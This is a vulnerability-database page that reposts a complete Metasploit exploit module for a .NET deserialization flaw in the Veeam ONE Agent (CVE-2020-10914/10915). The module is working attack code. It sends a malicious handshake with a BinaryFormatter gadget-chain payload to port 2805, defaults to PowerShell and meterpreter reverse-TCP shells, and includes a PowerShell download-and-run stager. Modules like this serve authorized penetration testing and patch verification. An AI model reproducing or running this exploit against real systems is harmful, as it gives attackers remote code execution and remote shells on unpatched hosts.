Veeam ONE Agent .NET Deserialization

2020.05.05
Credit: wvu
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super( update_info( info, 'Name' => 'Veeam ONE Agent .NET Deserialization', 'Description' => %q{ This module exploits a .NET deserialization vulnerability in the Veeam ONE Agent before the hotfix versions 9.5.5.4587 and 10.0.1.750 in the 9 and 10 release lines. Specifically, the module targets the HandshakeResult() method used by the Agent. By inducing a failure in the handshake, the Agent will deserialize untrusted data. Tested against the pre-patched release of 10.0.0.750. Note that Veeam continues to distribute this version but with the patch pre-applied. }, 'Author' => [ 'Michael Zanetta', # Discovery 'Edgar Boda-Majer', # Discovery 'wvu' # Module ], 'References' => [ ['CVE', '2020-10914'], ['CVE', '2020-10915'], # This module ['ZDI', '20-545'], ['ZDI', '20-546'], # This module ['URL', 'https://www.veeam.com/kb3144'] ], 'DisclosureDate' => '2020-04-15', # Vendor advisory 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Windows Command', 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } ], [ 'Windows Dropper', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :win_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp' } ], [ 'PowerShell Stager', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :psh_stager, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } ] ], 'DefaultTarget' => 2, 'DefaultOptions' => { 'WfsDelay' => 10 }, 'Notes' => { 'Stability' => [SERVICE_RESOURCE_LOSS], # Connection queue may fill? 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ Opt::RPORT(2805), OptString.new( 'HOSTINFO_NAME', [ true, 'Name to send in host info (must be recognized by server!)', 'AgentController' ] ) ]) end def check vprint_status("Checking connection to #{peer}") connect CheckCode::Detected("Connected to #{peer}.") rescue Rex::ConnectionError => e CheckCode::Unknown("#{e.class}: #{e.message}") ensure disconnect end def exploit print_status("Connecting to #{peer}") connect print_status("Sending host info to #{peer}") sock.put(host_info(datastore['HOSTINFO_NAME'])) res = sock.get_once vprint_good("<-- Host info reply: #{res.inspect}") if res print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :win_cmd execute_command(payload.encoded) when :win_dropper # TODO: Create an option to execute the full stager without hacking # :linemax or calling execute_command(generate_cmdstager(...).join(...)) execute_cmdstager( flavor: :psh_invokewebrequest, # NOTE: This requires PowerShell >= 3.0 linemax: 9001 # It's over 9000 ) when :psh_stager execute_command(cmd_psh_payload( payload.encoded, payload.arch.first, remove_comspec: true )) end rescue EOFError, Rex::ConnectionError => e fail_with(Failure::Unknown, "#{e.class}: #{e.message}") ensure disconnect end def execute_command(cmd, _opts = {}) vprint_status("Serializing command: #{cmd}") serialized_payload = Msf::Util::DotNetDeserialization.generate( cmd, gadget_chain: :TextFormattingRunProperties, formatter: :BinaryFormatter # This is _exactly_ what we need ) print_status("Sending malicious handshake to #{peer}") sock.put(handshake(serialized_payload)) res = sock.get_once vprint_good("<-- Handshake reply: #{res.inspect}") if res rescue EOFError, Rex::ConnectionError => e fail_with(Failure::Unknown, "#{e.class}: #{e.message}") end def host_info(name) meta = [0x0205].pack('v') packed_name = [name.length].pack('C') + name pkt = meta + packed_name vprint_good("--> Host info packet: #{pkt.inspect}") pkt end def handshake(serialized_payload) # A -1 status indicates a failure, which will trigger the deserialization status = [-1].pack('l<') length = status.length + serialized_payload.length type = 7 attrs = 1 kontext = 0 header = [length, type, attrs, kontext].pack('VvVV') padding = "\x00" * 18 result = status + serialized_payload pkt = header + padding + result vprint_good("--> Handshake packet: #{pkt.inspect}") pkt end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top